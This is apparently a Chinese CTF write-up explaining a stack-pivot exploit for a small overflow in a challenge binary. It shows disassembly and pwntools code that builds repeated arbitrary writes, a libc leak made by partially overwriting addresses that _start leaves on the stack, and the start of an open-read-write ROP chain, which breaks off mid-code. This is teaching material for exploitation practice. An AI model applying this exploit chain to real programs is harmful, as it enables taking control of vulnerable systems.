前言 栈风水—-> 一切非常规的布局都是栈风水,我认为实际上是对于所有栈知识的灵活组合运用。所以重在灵活变通
这道题的栈风水在于利用任意地址写,实现任意次数的任意地址写,并且在程序使用start的时候会在栈上留下libc的地址,通过修改libc的地址,爆破使得地址泄漏;不过由于爆破需要非常多的时间,所以我会关闭地址随机化,并且我的脚本不会有爆破的步骤,因为非常费时间;
题: 我们来说一下这个题吧
链接
程序非常简单:只有一个main函数,并且仅仅溢出0x10的字节,,所以仅仅够覆盖返回地址,并且程序里面并没有给出任何后门函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 .text:0000000000401288 ; int __fastcall main(int argc, const char **argv, const char **envp) .text:0000000000401288 public main .text:0000000000401288 main proc near ; DATA XREF: _start+18↑o .text:0000000000401288 .text:0000000000401288 buf = byte ptr -8 .text:0000000000401288 .text:0000000000401288 ; __unwind { .text:0000000000401288 endbr64 .text:000000000040128C push rbp .text:000000000040128D push rbx .text:000000000040128E mov rbp, rsp .text:0000000000401291 sub rsp, 8 .text:0000000000401295 mov rdi, 0 ; fd .text:000000000040129C lea rsi, [rbp+buf] ; buf .text:00000000004012A0 mov rdx, 20h ; ' ' ; nbytes .text:00000000004012A7 call _read .text:00000000004012AC add rsp, 8 .text:00000000004012B0 pop rbx .text:00000000004012B1 pop rbp .text:00000000004012B2 retn .text:00000000004012B2 main endp
那么我们应该是可以注意到程序收栈的结构和我们正常的leave ret不太一样,这里的效果相当于leave ret ,但是不涉及到rbp, 也就是说rbp不影响栈。那么这里就有一个有意思的东西了,
看到这部分汇编:我们会发现从read读进去的地方是由rsi控制的 ,但是rsi又是由rbp寻址找到buf控制的 ,所以我们可以通过程序最后的pop rbp来控制下一次读进去的地方,这就是任意地址写
1 2 3 4 .text:0000000000401295 mov rdi, 0 ; fd .text:000000000040129C lea rsi, [rbp+buf] ; buf .text:00000000004012A0 mov rdx, 20h ; ' ' ; nbytes .text:00000000004012A7 call _read
而在前面我们又知道,rsp并不受rbp影响(因为正常的rsp是由mov rsp,rbp来控制的),那么我们只需要将rsp放在一个满是main的或者0x401295(read开始的地方) ,这样我们就可以无限的读到任意地址了,并且以此循环!如果rsp和rbp在一起会是什么样子?rsp会破坏掉我们的布置好了的数据(rsp所在的地方程序会返回,导致我们的数据被一些地址覆盖掉)
无限次数的任意地址写成立,那么接下来就需要我们去想一下,我们需要泄漏libc,而程序是没有任何有关于控制寄存器的gadget
1 2 3 4 5 6 7 8 9 10 11 ❯ ROPgadget --binary ./pwn --only "pop|ret" 3.13.1 20:36 Gadgets information ============================================================ 0x000000000040115d : pop rbp ; ret 0x00000000004012b0 : pop rbx ; pop rbp ; ret 0x000000000040101a : ret 0x00000000004012a2 : ret 0x20 0x0000000000401252 : ret 0x2be 0x000000000040105a : ret 0xffff Unique gadgets found: 6
那么接下来我们就需要考虑一下我们的_start了,这个函数相信大家都不陌生,因为这个函数是程序真正的入口,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text:0000000000401090 public _start .text:0000000000401090 _start proc near ; DATA XREF: LOAD:00000000003FF018↑o .text:0000000000401090 ; __unwind { .text:0000000000401090 endbr64 .text:0000000000401094 xor ebp, ebp .text:0000000000401096 mov r9, rdx ; rtld_fini .text:0000000000401099 pop rsi ; argc .text:000000000040109A mov rdx, rsp ; ubp_av .text:000000000040109D and rsp, 0FFFFFFFFFFFFFFF0h .text:00000000004010A1 push rax .text:00000000004010A2 push rsp ; stack_end .text:00000000004010A3 xor r8d, r8d ; fini .text:00000000004010A6 xor ecx, ecx ; init .text:00000000004010A8 mov rdi, offset main ; main .text:00000000004010AF call cs:__libc_start_main_ptr .text:00000000004010B5 hlt .text:00000000004010B5 ; } // starts at 401090 .text:00000000004010B5 _start endp
可以看到调用了一个叫__libc_start_main的函数,这个函数会调用__libc_start_call_main,从而调用main函数,而在这个过程中,__libc_start_main也是需要保存返回地址的,也就是大家常见的用于收尾的函数,
而这个函数是libc的函数,所以,它的返回地址也是libc上的地址,而它会覆盖在rbp-0x10的位置,也就是返回地址。那么,是不是只需要我们去调用start就会在栈上留下libc的地址,接下来我们只需要同时得到两个libc的地址,将地址低的那个修改成libc 中的pop rdi ;ret,然后紧挨着放一个got表的地址,另一个修改成libc里面的puts,中间使用ret连接起来,那么就可以泄漏地址,
之后就很简单了,直接找个合适的位置打ORW即可
但是泄漏地址这一块,如果是在栈地址上,我们其实是不好用的,因为栈地址未知,不方便我们的风水构建,所以我们需要迁移到.bss/.data段上,但是,如果直接迁移到bss上会导致我们无法正常的返回,因为bss上没有正常的返回地址,并且bss上有一些重要的数据,比如IO结构体,因此我们需要把栈抬高
1 2 3 4 5 6 s(p64(0 ) * 2 + p64(bss1) + p64(read_to)) s(p64(main) * 4 ) s(p64(0 ) * 2 + p64(bss1) + p64(start)) pause()
这样测试就会发现可以正常返回
但是显然,这样的写法实质上是大量重复的工作,而且需要不断计算地址,极其不健康
所以我们可以封装成函数,方便我们随时调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def write_to_qword (addr, data, do_pause=False , restart=True ): assert len (data) <= 0x20 s(p64(0 ) + p64(0 ) + p64(addr + 8 ) + p64(read_to)) s(data) if do_pause: pause() else : pulse() if restart: io.send(p64(0 ) * 3 + p64(elf.sym["_start" ])) def write_data (addr, data, do_pause=False , restart=True ): for i in range (0 , len (data), 0x20 ): write_to_qword(addr + i, data[i : i + 0x20 ], do_pause, restart) def stack_mov (rbp ): s(p64(0 ) * 2 + p64(rbp - 8 ) + p64(leave_ret))
这样就可以任意长度任意地址写了,
然后接下来我们需要稍微布置一下栈结构了(也就是所谓的风水). 首先,我们我们肯定是需要布置我们心心念念的libc的地址的,所以需要两个start,而由于main最后会弹3个qword,所以两个start的地址之间至少有4qword,也就是这样布局的
1 write_data(bss1, p64(start) + p64(0 ) * 5 + p64(start) + p64(0 ) + b"/flag " )
顺便把flag字符串布置好,这样,我们只需要先迁移到第一个start,就可以留下libc的地址,再覆盖返回的 那个libc的地址为libc 中的leave;ret,栈迁移到rsp1+0x30-8,也就是第二个start,这样进行栈迁移的好处是,可以进行爆破,这样只需要爆破一次,可以减少一次性爆破的时间。然后同时会留下一个libc的地址,这两个libc的地址距离就会很近,
1 2 3 4 5 6 write_data(bss2, p64(main) * 4 * 12 ) write_data(bss3, p64(main) * 4 * 30 ) stack_mov(bss1) s(p64(0 ) * 2 + p64(bss1 + 0x30 - 8 ) + p16(libc_leave_ret_low)) s(p64(0 ) * 2 + p64(bss2 - 8 ) + p16(libc_leave_ret_low))
然后,就可以就这两个libc地址布置pop rdi;ret和puts的ROP了,并且我们也需要注意这个ROP的返回,我们其实可以直接返回到rsp2,这样的话,就可以直接布置我们后面的ORW了,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 write_data(bss1 - 0x108 , p32(libc_pop_rdi_low)[:3 ], restart=False ) write_data( bss1 - 0x100 , p64(elf.got["read" ]) + p64(ret) * 4 + p32(libc_puts_lower)[:3 ], restart=False , ) write_data( bss1 - 0x100 + 8 * 6 , p64(rbp_ret) + p64(bss3 - 8 ) + p64(leave_ret), restart=False , ) stack_mov(bss1 - 0x108 ) libc_base = l64() - libc.sym["read" ] leak("libc_base" , libc_base)
然后就正常的ORW,然后栈迁移即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 pop_rdi_ret = libc_base + 0x000000000010F75B pop_rsi_ret = libc_base + 0x0000000000110A4D pop_rdx_leave_ret = libc_base + 0x00000000000981AD O = flat( { 0x0 : pop_rdi_ret, 0x8 : flag_path, 0x10 : pop_rsi_ret, 0x18 : 0 , 0x20 : libc_base + libc.sym["open" ], }, filler=b"